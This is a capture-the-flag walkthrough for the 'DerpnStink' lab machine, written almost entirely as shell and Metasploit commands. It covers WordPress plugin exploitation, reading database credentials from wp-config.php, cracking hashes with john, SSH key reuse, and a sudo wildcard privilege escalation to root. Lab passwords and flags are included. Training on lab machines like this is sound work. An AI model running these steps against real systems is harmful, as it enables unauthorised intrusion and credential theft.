DerpnStink

```
netdiscover -r 192.168.110.1/24
Target 192.168.110.130
nmap -sC -sS -sV -A -Pn 192.168.110.130
192.168.110.130:80
view-source:http://192.168.110.130/
Scroll to bottom Flag #1
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
-->
dirb http://192.168.110.130/
Add derpnstink.local /etc/hosts
wpscan -e u --url http://derpnstink.local/weblog/
wpscan -e p --url http://derpnstink.local/weblog/

[i] User(s) Identified:
[+] unclestinky
[+] admin

[!] 4 vulnerabilities identified:
[!] Title: Slideshow Gallery

msfconsole
search wp_slideshowgallery_upload

use exploit/unix/webapp/wp_slideshowgallery_upload
options
set rhosts 192.168.110.130
set targeturi /weblog
set wp_user admin
set wp_password admin
exploit

sysinfo
pwd
Ls
Shell
python -c "import pty;pty.spawn('/bin/bash');"
cd /var/www/html/weblog/
cat wp-config.php
save to working directory
find the username and password required for mysql*
http://192.168.110.130/php/phpmyadmin/
```

```
Login
username: root
password: mysql
wp_users
make hash file for john
new tab for john
install sec lists ~ apt install seclists
Copy rockyou.txt to working directory
find a password for unclestinky
john hash.txt --wordlist=rockyou.txt
Login with User: unclestinky password: wedgie57
http://derpnstink.local/weblog/wp-admin/post.php?post=8&action=edit
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
```

```
Back to meterpreter
cd /home
ls
su stinky password wedgie57
cd stinky
ls
cd Desktop
ls
Cat flag.txt
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
cd ..
ls
cd ftp
cd files
ls
cd network-logs
cat derpissues.txt
cd ..
cd ssh x7
ls
cat key.txt
copy key save as stinky.txt
chmod 400 stinky.key
```

```
chmod 400 stinky.key
ssh -i stinky.key stinky@192.168.110.130
get root
cd /home/stinky/Documents
open new tab
```

```
scp -i stinky.key stinky@192.168.110.130:/home/stinky/Documents/derpissues.pcap
/tmp/derpissues.pcap
copy to working directory
open with wireshark
go to entry 5598 and right click select follow tcp stream
login with mrderp password: derpderpderpderpderpderpderp
su mrderp
derpderpderpderpderpderpderp
sudo -l
enter password
User mrderp may run the following commands on DeRPnStiNK:
   (ALL) /home/mrderp/binaries/derpy*

cd /home/mrderp/
mkdir binaries
echo "/bin/bash" > binaries/derpy.sh
chmod +x binaries/derpy.sh
sudo ./binaries/derpy.sh
id
cd /root
ls
cat flag.txt
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
```

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!

@securekomodo